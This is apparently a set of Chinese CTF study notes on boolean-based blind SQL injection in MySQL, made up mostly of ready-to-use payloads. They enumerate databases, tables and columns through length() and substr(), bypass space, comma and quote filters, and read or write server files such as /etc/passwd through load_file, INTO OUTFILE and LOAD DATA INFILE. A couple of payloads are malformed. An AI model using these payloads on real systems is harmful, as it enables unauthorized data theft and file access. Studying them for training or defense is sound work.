bool注入
主要用到substr，length等函数
substring与substr：
- 在效果上没啥区别（一般来说）
substr是oracle的，substring是Mysql的
最简单的
123' or 1=1;#过滤空格
123'/**/or/**/1=1;#爆数据库名
123' or length(database())>0;#
123' or substr(database(),1,1)>'a';#
123' or length((select schema_name from information_schema.schemata limit 0,1))>0;#
123' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)>'a';#爆表名
123' or length((select table_name from information_schema.tables where table_schema='xxx' limit 0,1))>0;#
123' or substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)>'a';#
123' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0;#
123' or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0;#爆列名
123' or length((select column_name from information_schema.columns where table_schema='xxx' and table_name='yyy' limit 0,1))>0;#
123' or substr((select column_name from information_schema.columns where table_schema='xxx' and table_name='yyy' limit 0,1),1,1)>'a';#过滤逗号
0' or length((select flag from flag limit 1 offset 0))>0;#
123' or (select substr(database() from 1 for 1))>'a';#过滤引号
123 or (select substring(database()) from 1 for 1)>chr(97);#虚拟表
group by操作会建立虚拟表
mysql> select username,count(*) from users group by username;
+----------+----------+
| username | count(*) |
+----------+----------+
| aaadmin | 1 |
| aadmin | 1 |
| admin | 1 |
| adminn | 1 |
| adminnn | 1 |
| klee | 1 |
| test | 1 |
+----------+----------+
7 rows in set (0.00 sec)加上with rollup之后会多出来一行count统计
mysql> select username,count(*) from users group by username with rollup;
+----------+----------+
| username | count(*) |
+----------+----------+
| aaadmin | 1 |
| aadmin | 1 |
| admin | 1 |
| adminn | 1 |
| adminnn | 1 |
| klee | 1 |
| test | 1 |
| NULL | 7 |
+----------+----------+
8 rows in set (0.00 sec)读写文件
mysql> select load_file('/etc/passwd');
+----------------------------------------------------+
| load_file('/etc/passwd') |
+----------------------------------------------------+
| NULL |
+----------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 'hello' into outfile '/tmp/a.txt';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement需要设置 secure_file_priv
mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
1 row in set (0.00 sec)在 /etc/mysql/my.cnf 中可以设置 secure_file_priv 为空，表示不做限制
[mysqld]
secure_file_priv =load data infile 与 load data local infile
mysql> load data infile '/etc/passwd' into table test;
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> load data local infile '/etc/passwd' into table test;
ERROR 3948 (42000): Loading local data is disabled; this must be enabled on both the client and server sides二者的区别在于
load data infile读取的是mysqld（服务端）所在机器的文件load data local infile读取的是mysql客户端所在机器的文件